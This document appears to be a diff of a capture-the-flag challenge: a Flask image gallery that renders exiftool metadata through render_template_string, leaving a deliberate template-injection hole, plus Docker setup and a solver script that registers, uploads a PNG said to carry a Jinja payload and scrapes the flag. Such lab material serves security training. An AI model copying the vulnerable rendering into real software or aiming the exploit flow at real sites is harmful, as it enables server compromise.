UPLOAD_DIR = os.path.join(APP_DIR, "uploads")
|
||||||
|
FLAG_PATH = os.path.join(APP_DIR, "flag.txt")
|
||||||
|
|
||||||
|
ALLOWED_EXT = {"png", "jpg", "jpeg", "bmp"}
|
||||||
|
MAX_CONTENT_LENGTH = 8 * 1024 * 1024
|
||||||
|
|
||||||
|
app = Flask(__name__)
|
||||||
|
app.secret_key = os.environ.get("SECRET_KEY", secrets.token_hex(16))
|
||||||
|
app.config["MAX_CONTENT_LENGTH"] = MAX_CONTENT_LENGTH
|
||||||
|
app.config["UPLOAD_FOLDER"] = UPLOAD_DIR
|
||||||
|
|
||||||
|
def get_db():
|
||||||
|
db = getattr(g, "_db", None)
|
||||||
|
if db is None:
|
||||||
|
db = g._db = sqlite3.connect(DB_PATH, check_same_thread=False)
|
||||||
|
db.row_factory = sqlite3.Row
|
||||||
|
return db
|
||||||
|
|
||||||
|
@app.teardown_appcontext
|
||||||
|
def close_db(_exc):
|
||||||
|
db = getattr(g, "_db", None)
|
||||||
|
if db:
|
||||||
|
db.close()
|
||||||
|
|
||||||
|
def init_db():
|
||||||
|
Path(UPLOAD_DIR).mkdir(parents=True, exist_ok=True)
|
||||||
|
db = get_db()
|
||||||
|
db.executescript("""
|
||||||
|
CREATE TABLE IF NOT EXISTS users (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
username TEXT UNIQUE NOT NULL,
|
||||||
|
password_hash TEXT NOT NULL,
|
||||||
|
role TEXT NOT NULL DEFAULT 'user',
|
||||||
|
created_at TEXT NOT NULL
|
||||||
|
);
|
||||||
|
|
||||||
|
CREATE TABLE IF NOT EXISTS posts (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
user_id INTEGER NOT NULL,
|
||||||
|
title TEXT NOT NULL,
|
||||||
|
filename TEXT NOT NULL,
|
||||||
|
metadata TEXT,
|
||||||
|
created_at TEXT NOT NULL,
|
||||||
|
FOREIGN KEY(user_id) REFERENCES users(id)
|
||||||
|
);
|
||||||
|
""")
|
||||||
|
db.commit()
|
||||||
|
|
||||||
|
def _resolve_flag_file_path():
|
||||||
|
p = FLAG_PATH
|
||||||
|
if os.path.isdir(p):
|
||||||
|
p = os.path.join(p, "flag.txt")
|
||||||
|
os.makedirs(os.path.dirname(p), exist_ok=True)
|
||||||
|
return p
|
||||||
|
|
||||||
|
def generate_flag_at_boot():
|
||||||
|
path = _resolve_flag_file_path()
|
||||||
|
if not os.path.exists(path) or os.environ.get("RESEED_FLAG") == "1":
|
||||||
|
token = secrets.token_bytes(32)
|
||||||
|
sha = hashlib.sha256(token).hexdigest()
|
||||||
|
with open(path, "w", encoding="utf-8") as fh:
|
||||||
|
fh.write(f"GEMASTIK{{{sha}}}\n")
|
||||||
|
|
||||||
|
def current_user():
|
||||||
|
if "uid" not in session:
|
||||||
|
return None
|
||||||
|
db = get_db()
|
||||||
|
cur = db.execute("SELECT id, username, role FROM users WHERE id = ?", (session["uid"],))
|
||||||
|
return cur.fetchone()
|
||||||
|
|
||||||
|
def _is_within(child_path: str, parent_dir: str) -> bool:
|
||||||
|
child_real = os.path.realpath(child_path)
|
||||||
|
parent_real = os.path.realpath(parent_dir)
|
||||||
|
try:
|
||||||
|
return os.path.commonpath([child_real, parent_real]) == parent_real
|
||||||
|
except ValueError:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def _exiftool_text(path_on_disk: str) -> str:
|
||||||
|
if not _is_within(path_on_disk, UPLOAD_DIR):
|
||||||
|
return "no-metadata"
|
||||||
|
try:
|
||||||
|
proc = subprocess.run(
|
||||||
|
["exiftool", "--", path_on_disk],
|
||||||
|
capture_output=True,
|
||||||
|
text=True,
|
||||||
|
timeout=5
|
||||||
|
)
|
||||||
|
if proc.returncode != 0:
|
||||||
|
return "no-metadata"
|
||||||
|
return proc.stdout if proc.stdout else "no-metadata"
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
return "exif_err: timeout"
|
||||||
|
except FileNotFoundError:
|
||||||
|
return "exif_err: exiftool not found"
|
||||||
|
except Exception as e:
|
||||||
|
return f"exif_err: {e}"
|
||||||
|
|
||||||
|
def allowed_file(fn: str) -> bool:
|
||||||
|
if "." not in fn:
|
||||||
|
return False
|
||||||
|
ext = fn.rsplit(".", 1)[-1].lower()
|
||||||
|
return ext in ALLOWED_EXT
|
||||||
|
|
||||||
|
def sha256_hex(data: bytes) -> str:
|
||||||
|
return hashlib.sha256(data).hexdigest()
|
||||||
|
|
||||||
|
@app.route("/register", methods=["GET", "POST"])
|
||||||
|
def register():
|
||||||
|
if request.method == "POST":
|
||||||
|
username = request.form.get("username", "").strip()
|
||||||
|
password = request.form.get("password", "")
|
||||||
|
if not username or not password:
|
||||||
|
flash("Username and password required")
|
||||||
|
return render_template("register.html")
|
||||||
|
pw_hash = generate_password_hash(password)
|
||||||
|
try:
|
||||||
|
db = get_db()
|
||||||
|
db.execute(
|
||||||
|
"INSERT INTO users (username, password_hash, role, created_at) VALUES (?, ?, 'user', ?)",
|
||||||
|
(username, pw_hash, datetime.datetime.utcnow().isoformat() + "Z"),
|
||||||
|
)
|
||||||
|
db.commit()
|
||||||
|
except sqlite3.IntegrityError:
|
||||||
|
flash("Username already exists")
|
||||||
|
return render_template("register.html")
|
||||||
|
flash("Registered. Please login.")
|
||||||
|
return redirect(url_for("login"))
|
||||||
|
return render_template("register.html")
|
||||||
|
|
||||||
|
@app.route("/login", methods=["GET", "POST"])
|
||||||
|
def login():
|
||||||
|
if request.method == "POST":
|
||||||
|
username = request.form.get("username", "").strip()
|
||||||
|
password = request.form.get("password", "")
|
||||||
|
db = get_db()
|
||||||
|
cur = db.execute(
|
||||||
|
"SELECT id, username, password_hash, role FROM users WHERE username = ?",
|
||||||
|
(username,),
|
||||||
|
)
|
||||||
|
row = cur.fetchone()
|
||||||
|
if not row or not check_password_hash(row["password_hash"], password):
|
||||||
|
flash("Invalid credentials")
|
||||||
|
return render_template("login.html")
|
||||||
|
session["uid"] = row["id"]
|
||||||
|
flash(f"Welcome, {row['username']}!")
|
||||||
|
return redirect(url_for("gallery"))
|
||||||
|
return render_template("login.html")
|
||||||
|
|
||||||
|
@app.route("/logout")
|
||||||
|
def logout():
|
||||||
|
session.clear()
|
||||||
|
flash("Logged out")
|
||||||
|
return redirect(url_for("login"))
|
||||||
|
|
||||||
|
@app.route("/upload", methods=["GET", "POST"])
|
||||||
|
def upload():
|
||||||
|
user = current_user()
|
||||||
|
if not user:
|
||||||
|
return redirect(url_for("login"))
|
||||||
|
if request.method == "POST":
|
||||||
|
title = request.form.get("title", "").strip() or "(untitled)"
|
||||||
|
f = request.files.get("image")
|
||||||
|
if not f or f.filename == "":
|
||||||
|
flash("Choose an image.")
|
||||||
|
return render_template("upload.html")
|
||||||
|
orig_name = secure_filename(f.filename)
|
||||||
|
if not allowed_file(orig_name):
|
||||||
|
flash("Unsupported file type.")
|
||||||
|
return render_template("upload.html")
|
||||||
|
ext = orig_name.rsplit(".", 1)[-1].lower()
|
||||||
|
data = f.read()
|
||||||
|
sha = sha256_hex(data)
|
||||||
|
stored = f"{sha}.{ext}"
|
||||||
|
path = Path(UPLOAD_DIR) / stored
|
||||||
|
if not path.exists():
|
||||||
|
path.write_bytes(data)
|
||||||
|
metadata_blob = _exiftool_text(str(path))
|
||||||
|
db = get_db()
|
||||||
|
db.execute(
|
||||||
|
"""
|
||||||
|
INSERT INTO posts (user_id, title, filename, metadata, created_at)
|
||||||
|
VALUES (?, ?, ?, ?, ?)
|
||||||
|
""",
|
||||||
|
(user["id"], title, stored, metadata_blob, datetime.datetime.utcnow().isoformat() + "Z"),
|
||||||
|
)
|
||||||
|
db.commit()
|
||||||
|
flash("Upload complete.")
|
||||||
|
return redirect(url_for("gallery"))
|
||||||
|
return render_template("upload.html")
|
||||||
|
|
||||||
|
@app.route("/")
|
||||||
|
@app.route("/gallery")
|
||||||
|
def gallery():
|
||||||
|
user = current_user()
|
||||||
|
db = get_db()
|
||||||
|
cur = db.execute(
|
||||||
|
"""
|
||||||
|
SELECT p.id, p.title, p.filename, p.created_at, u.username
|
||||||
|
FROM posts p JOIN users u ON p.user_id = u.id
|
||||||
|
ORDER BY p.id DESC
|
||||||
|
"""
|
||||||
|
)
|
||||||
|
posts = cur.fetchall()
|
||||||
|
return render_template("gallery.html", posts=posts, user=user)
|
||||||
|
|
||||||
|
@app.route("/post/<int:pid>")
|
||||||
|
def view_post(pid):
|
||||||
|
db = get_db()
|
||||||
|
cur = db.execute(
|
||||||
|
"SELECT p.*, u.username FROM posts p JOIN users u ON p.user_id = u.id WHERE p.id = ?",
|
||||||
|
(pid,),
|
||||||
|
)
|
||||||
|
post = cur.fetchone()
|
||||||
|
if not post:
|
||||||
|
abort(404)
|
||||||
|
if request.args.get("meta") == "1":
|
||||||
|
return Response((post["metadata"] or ""), mimetype="text/plain")
|
||||||
|
metadata_full = post["metadata"] or ""
|
||||||
|
md_map = {"File Name": "", "Date Created": ""}
|
||||||
|
for m in re.finditer(r"^\s*(File Name|Date Created)\s*:\s*(.*)$", metadata_full, flags=re.MULTILINE):
|
||||||
|
key = m.group(1)
|
||||||
|
val = m.group(2).strip()
|
||||||
|
md_map[key] = val
|
||||||
|
file_name_val = md_map["File Name"]
|
||||||
|
date_created_val = md_map["Date Created"]
|
||||||
|
metadata_snippet_html = f"<pre>File Name: {file_name_val}\nDate Created: {date_created_val}</pre>"
|
||||||
|
tpl_path = os.path.join(APP_DIR, "templates", "view_post.html")
|
||||||
|
with open(tpl_path, "r", encoding="utf-8") as fh:
|
||||||
|
tpl_src = fh.read()
|
||||||
|
placeholder = "{{ metadata_snippet or '' }}"
|
||||||
|
if placeholder not in tpl_src:
|
||||||
|
page_src = tpl_src + "\n" + metadata_snippet_html
|
||||||
|
else:
|
||||||
|
page_src = tpl_src.replace(placeholder, metadata_snippet_html)
|
||||||
|
return render_template_string(page_src, post=post)
|
||||||
|
|
||||||
|
@app.route("/i/<path:filename>")
|
||||||
|
def cdn_serve(filename):
|
||||||
|
return send_from_directory(UPLOAD_DIR, filename, as_attachment=False)
|
||||||
|
|
||||||
|
@app.errorhandler(413)
|
||||||
|
def too_large(_):
|
||||||
|
flash("File too large.")
|
||||||
|
return redirect(url_for("upload"))
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
with app.app_context():
|
||||||
|
init_db()
|
||||||
|
generate_flag_at_boot()
|
||||||
|
app.run(host="0.0.0.0", port=8000, debug=False)
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
version: "3.8"
|
||||||
|
services:
|
||||||
|
web:
|
||||||
|
build: .
|
||||||
|
ports:
|
||||||
|
- "4414:8000"
|
||||||
|
environment:
|
||||||
|
SECRET_KEY: "c75f1259a4c95bb31563405d488d7bf9c0eaf4d562fd13557624f8e18eb5cfff"
|
||||||
|
RESEED_FLAG: "1"
|
||||||
|
volumes:
|
||||||
|
- ./uploads:/app/uploads
|
||||||
|
restart: unless-stopped
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
mkdir -p /app/uploads
|
||||||
|
chmod 755 /app/uploads
|
||||||
|
|
||||||
|
python - <<'PY'
|
||||||
|
import os
|
||||||
|
import app as m
|
||||||
|
with m.app.app_context():
|
||||||
|
m.init_db()
|
||||||
|
m.generate_flag_at_boot()
|
||||||
|
print("DB & flag initialized.")
|
||||||
|
PY
|
||||||
|
|
||||||
|
FLAG_PATH="${FLAG_PATH:-/app/flag.txt}"
|
||||||
|
|
||||||
|
if [ -d "$FLAG_PATH" ]; then
|
||||||
|
if [ -f "$FLAG_PATH/flag.txt" ]; then
|
||||||
|
chown root:root "$FLAG_PATH/flag.txt" || true
|
||||||
|
chmod 444 "$FLAG_PATH/flag.txt" || true
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
if [ -f "$FLAG_PATH" ]; then
|
||||||
|
chown root:root "$FLAG_PATH" || true
|
||||||
|
chmod 444 "$FLAG_PATH" || true
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
exec python app.py
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
# Convenience: reseed flag once without starting server
|
||||||
|
import hashlib, secrets, os
|
||||||
|
FLAG_PATH = os.path.join(os.path.dirname(__file__), "flag.txt")
|
||||||
|
sha = hashlib.sha256(secrets.token_bytes(32)).hexdigest()
|
||||||
|
with open(FLAG_PATH, "w", encoding="utf-8") as fh:
|
||||||
|
fh.write(f"GEMASTIK{{{sha}}}\n")
|
||||||
|
print("Flag reseeded:", open(FLAG_PATH).read().strip())
|
||||||
@@ -0,0 +1,4 @@
|
|||||||
|
Flask==3.0.3
|
||||||
|
Werkzeug==3.0.3
|
||||||
|
Pillow==10.4.0
|
||||||
|
exifread==3.0.0
|
||||||
@@ -0,0 +1,20 @@
|
|||||||
|
:root { --bg: #0b0d10; --fg: #e5e7eb; --muted:#9ca3af; --card:#111317; --accent:#60a5fa; --stroke:#1f2937; }
|
||||||
|
* { box-sizing: border-box; }
|
||||||
|
body { margin:0; font: 15px/1.5 system-ui, -apple-system, Segoe UI, Roboto, Arial, sans-serif; background: var(--bg); color: var(--fg); }
|
||||||
|
a { color: var(--accent); text-decoration: none; }
|
||||||
|
.topbar { display:flex; justify-content:space-between; align-items:center; padding:12px 16px; border-bottom:1px solid var(--stroke); background:#0e1116; }
|
||||||
|
.brand { font-weight:700; letter-spacing:.3px; }
|
||||||
|
.container { max-width: 980px; margin: 24px auto; padding: 0 16px; }
|
||||||
|
.flash > div { background:#1a2332; border:1px solid #22314a; padding:8px 12px; margin:12px 0; border-radius:8px; }
|
||||||
|
label { display:block; margin:12px 0 6px; color: var(--muted); }
|
||||||
|
input, textarea { width:100%; padding:10px 12px; border-radius:8px; border:1px solid var(--stroke); background:#0f1217; color:var(--fg); }
|
||||||
|
button { margin-top:12px; padding:10px 16px; border-radius:8px; border:1px solid #2b3344; background:#1b2333; color:#dbeafe; cursor:pointer; }
|
||||||
|
.grid { display:grid; grid-template-columns: repeat(auto-fill, minmax(220px,1fr)); gap:16px; }
|
||||||
|
.card { display:block; border:1px solid var(--stroke); border-radius:12px; overflow:hidden; background: var(--card); }
|
||||||
|
.card img { width:100%; height:160px; object-fit:cover; display:block; }
|
||||||
|
.card .meta { padding:10px 12px; }
|
||||||
|
.card .title { font-weight:600; }
|
||||||
|
.card .sub { color: var(--muted); font-size: 12px; margin-top:4px; }
|
||||||
|
.post .full { width:100%; max-height:65vh; object-fit:contain; border:1px solid var(--stroke); border-radius:12px; }
|
||||||
|
details.desc { margin-top:12px; }
|
||||||
|
.foot { border-top:1px solid var(--stroke); color:var(--muted); padding:16px; text-align:center; margin-top:40px; }
|
||||||
@@ -0,0 +1,36 @@
|
|||||||
|
<!doctype html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8" />
|
||||||
|
<title>pix.cdn — demo</title>
|
||||||
|
<link rel="stylesheet" href="{{ url_for('static', filename='style.css') }}" />
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<header class="topbar">
|
||||||
|
<a href="{{ url_for('gallery') }}" class="brand">pix.cdn</a>
|
||||||
|
<nav>
|
||||||
|
{% if session.get('uid') %}
|
||||||
|
<a href="{{ url_for('upload') }}">Upload</a>
|
||||||
|
<a href="{{ url_for('logout') }}">Logout</a>
|
||||||
|
{% else %}
|
||||||
|
<a href="{{ url_for('login') }}">Login</a>
|
||||||
|
<a href="{{ url_for('register') }}">Register</a>
|
||||||
|
{% endif %}
|
||||||
|
</nav>
|
||||||
|
</header>
|
||||||
|
|
||||||
|
{% with msgs = get_flashed_messages() %}
|
||||||
|
{% if msgs %}
|
||||||
|
<div class="flash">
|
||||||
|
{% for m in msgs %}<div>{{ m }}</div>{% endfor %}
|
||||||
|
</div>
|
||||||
|
{% endif %}
|
||||||
|
{% endwith %}
|
||||||
|
|
||||||
|
<main class="container">
|
||||||
|
{% block content %}{% endblock %}
|
||||||
|
</main>
|
||||||
|
|
||||||
|
<footer class="foot">© pix.cdn</footer>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,20 @@
|
|||||||
|
{% extends "base.html" %}
|
||||||
|
{% block content %}
|
||||||
|
<h2>Gallery</h2>
|
||||||
|
|
||||||
|
{% if not posts %}
|
||||||
|
<p>No posts yet. <a href="{{ url_for('upload') }}">Upload one</a>.</p>
|
||||||
|
{% endif %}
|
||||||
|
|
||||||
|
<div class="grid">
|
||||||
|
{% for p in posts %}
|
||||||
|
<a class="card" href="{{ url_for('view_post', pid=p.id) }}">
|
||||||
|
<img src="{{ url_for('cdn_serve', filename=p.filename) }}" alt="thumb" />
|
||||||
|
<div class="meta">
|
||||||
|
<div class="title">{{ p.title }}</div>
|
||||||
|
<div class="sub">{{ p.username }} · {{ p.created_at }}</div>
|
||||||
|
</div>
|
||||||
|
</a>
|
||||||
|
{% endfor %}
|
||||||
|
</div>
|
||||||
|
{% endblock %}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
{% extends "base.html" %}
|
||||||
|
{% block content %}
|
||||||
|
<h2>Login</h2>
|
||||||
|
<form method="post">
|
||||||
|
<label>Username</label>
|
||||||
|
<input name="username" required />
|
||||||
|
<label>Password</label>
|
||||||
|
<input name="password" type="password" required />
|
||||||
|
<button type="submit">Login</button>
|
||||||
|
</form>
|
||||||
|
{% endblock %}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
{% extends "base.html" %}
|
||||||
|
{% block content %}
|
||||||
|
<h2>Register</h2>
|
||||||
|
<form method="post">
|
||||||
|
<label>Username</label>
|
||||||
|
<input name="username" required />
|
||||||
|
<label>Password</label>
|
||||||
|
<input name="password" type="password" required />
|
||||||
|
<button type="submit">Create account</button>
|
||||||
|
</form>
|
||||||
|
<p class="hint">New users default to role <code>user</code>.</p>
|
||||||
|
{% endblock %}
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
{% extends "base.html" %}
|
||||||
|
{% block content %}
|
||||||
|
<h2>Upload image</h2>
|
||||||
|
<form method="post" enctype="multipart/form-data">
|
||||||
|
<label>Title</label>
|
||||||
|
<input name="title" placeholder="My picture" />
|
||||||
|
<label>Image file (png/jpg/jpeg/bmp)</label>
|
||||||
|
<input type="file" name="image" accept=".png,.jpg,.jpeg,.bmp" required />
|
||||||
|
<label>Notes (optional, saved with metadata)</label>
|
||||||
|
<textarea name="notes" rows="4" placeholder="CDN descriptors, tags, etc."></textarea>
|
||||||
|
<button type="submit">Upload</button>
|
||||||
|
</form>
|
||||||
|
{% endblock %}
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
{% extends "base.html" %}
|
||||||
|
{% block content %}
|
||||||
|
<article class="post">
|
||||||
|
<h2>{{ post.title }}</h2>
|
||||||
|
<img class="full" src="{{ url_for('cdn_serve', filename=post.filename) }}" alt="" />
|
||||||
|
|
||||||
|
<details class="desc">
|
||||||
|
<summary>Delivery details</summary>
|
||||||
|
<p>Static CDN reference: <code>/i/{{ post.filename }}</code></p>
|
||||||
|
<p>Uploaded at: <code>{{ post.created_at }}</code></p>
|
||||||
|
</details>
|
||||||
|
<template id="internal-meta" hidden>{{ metadata_snippet or '' }}</template>
|
||||||
|
</article>
|
||||||
|
{% endblock %}
|
||||||
|
After Width: | Height: | Size: 1012 KiB |
|
After Width: | Height: | Size: 1012 KiB |
|
After Width: | Height: | Size: 1012 KiB |
|
After Width: | Height: | Size: 1012 KiB |
|
After Width: | Height: | Size: 1012 KiB |
|
After Width: | Height: | Size: 1012 KiB |
@@ -0,0 +1,91 @@
|
|||||||
|
import os
|
||||||
|
import re
|
||||||
|
import random
|
||||||
|
import string
|
||||||
|
from pathlib import Path
|
||||||
|
import requests
|
||||||
|
|
||||||
|
print("SSTI (Vuln) Exploit — fixed HOST env, redirects, timeouts")
|
||||||
|
|
||||||
|
HOST = "http://localhost:4414"
|
||||||
|
REGISTER_URL = f"{HOST}/register"
|
||||||
|
LOGIN_URL = f"{HOST}/login"
|
||||||
|
UPLOAD_URL = f"{HOST}/upload"
|
||||||
|
HOME_URL = f"{HOST}/"
|
||||||
|
|
||||||
|
TIMEOUT = float(os.environ.get("TIMEOUT", "1")) # detik
|
||||||
|
|
||||||
|
def rnd(n=8):
|
||||||
|
alpha = string.ascii_lowercase + string.digits
|
||||||
|
return ''.join(random.choices(alpha, k=n))
|
||||||
|
|
||||||
|
USERNAME = rnd()
|
||||||
|
PASSWORD = rnd()
|
||||||
|
LOCAL_IMAGE = os.environ.get("IMG", "ssti.png") # PNG dengan payload Jinja di metadata
|
||||||
|
|
||||||
|
s = requests.Session()
|
||||||
|
s.headers.update({"User-Agent": "ssti-exp/1.0"})
|
||||||
|
|
||||||
|
def ok_or_redirect(resp):
|
||||||
|
return 200 <= resp.status_code < 400
|
||||||
|
|
||||||
|
# 1) Register (allow redirects)
|
||||||
|
r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD},
|
||||||
|
allow_redirects=True, timeout=TIMEOUT)
|
||||||
|
print(f"[i] Register -> {r.status_code} | redirected={bool(r.history)}")
|
||||||
|
if not ok_or_redirect(r):
|
||||||
|
print("[x] Registration failed")
|
||||||
|
raise SystemExit(1)
|
||||||
|
print(f"[+] Registered: {USERNAME}:{PASSWORD}")
|
||||||
|
|
||||||
|
# 2) Login (allow redirects)
|
||||||
|
r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD},
|
||||||
|
allow_redirects=True, timeout=TIMEOUT)
|
||||||
|
print(f"[i] Login -> {r.status_code} | redirected={bool(r.history)}")
|
||||||
|
if not ok_or_redirect(r):
|
||||||
|
print("[x] Login failed")
|
||||||
|
raise SystemExit(1)
|
||||||
|
print("[+] Logged in")
|
||||||
|
|
||||||
|
# 3) Upload image (title + image)
|
||||||
|
img_path = Path(LOCAL_IMAGE)
|
||||||
|
if not img_path.exists():
|
||||||
|
raise SystemExit(f"[x] Local image not found: {LOCAL_IMAGE}")
|
||||||
|
|
||||||
|
with img_path.open("rb") as fh:
|
||||||
|
files = {"image": (img_path.name, fh, "image/png")}
|
||||||
|
data = {"title": "SSTI Exploit"}
|
||||||
|
r = s.post(UPLOAD_URL, data=data, files=files,
|
||||||
|
allow_redirects=True, timeout=TIMEOUT)
|
||||||
|
print(f"[i] Upload -> {r.status_code} | redirected={bool(r.history)}")
|
||||||
|
if not ok_or_redirect(r):
|
||||||
|
print("[x] Upload failed")
|
||||||
|
raise SystemExit(1)
|
||||||
|
print("[+] Upload complete")
|
||||||
|
|
||||||
|
# 4) Home → cari post id terbaru
|
||||||
|
r = s.get(HOME_URL, timeout=TIMEOUT)
|
||||||
|
print(f"[i] Home -> {r.status_code}")
|
||||||
|
if r.status_code != 200:
|
||||||
|
print("[x] Failed to load home")
|
||||||
|
raise SystemExit(1)
|
||||||
|
|
||||||
|
post_ids = re.findall(r'/post/(\d+)', r.text)
|
||||||
|
if not post_ids:
|
||||||
|
print("[-] No posts found on home.")
|
||||||
|
# print(r.text[:800])
|
||||||
|
raise SystemExit(1)
|
||||||
|
|
||||||
|
pid = max(map(int, post_ids))
|
||||||
|
post_url = f"{HOST}/post/{pid}"
|
||||||
|
print(f"[+] Newest post: {post_url}")
|
||||||
|
|
||||||
|
# 5) Trigger SSTI dan cari flag
|
||||||
|
r = s.get(post_url, timeout=TIMEOUT)
|
||||||
|
print(f"[i] Post -> {r.status_code}")
|
||||||
|
m = re.search(r"GEMASTIK\{[^}]*\}", r.text)
|
||||||
|
if m:
|
||||||
|
print("[+] Flag:", m.group(0))
|
||||||
|
else:
|
||||||
|
print("[-] Flag not found in response.")
|
||||||
|
print(r.text[:1200])
|
||||||
|
After Width: | Height: | Size: 1012 KiB |
|
After Width: | Height: | Size: 1012 KiB |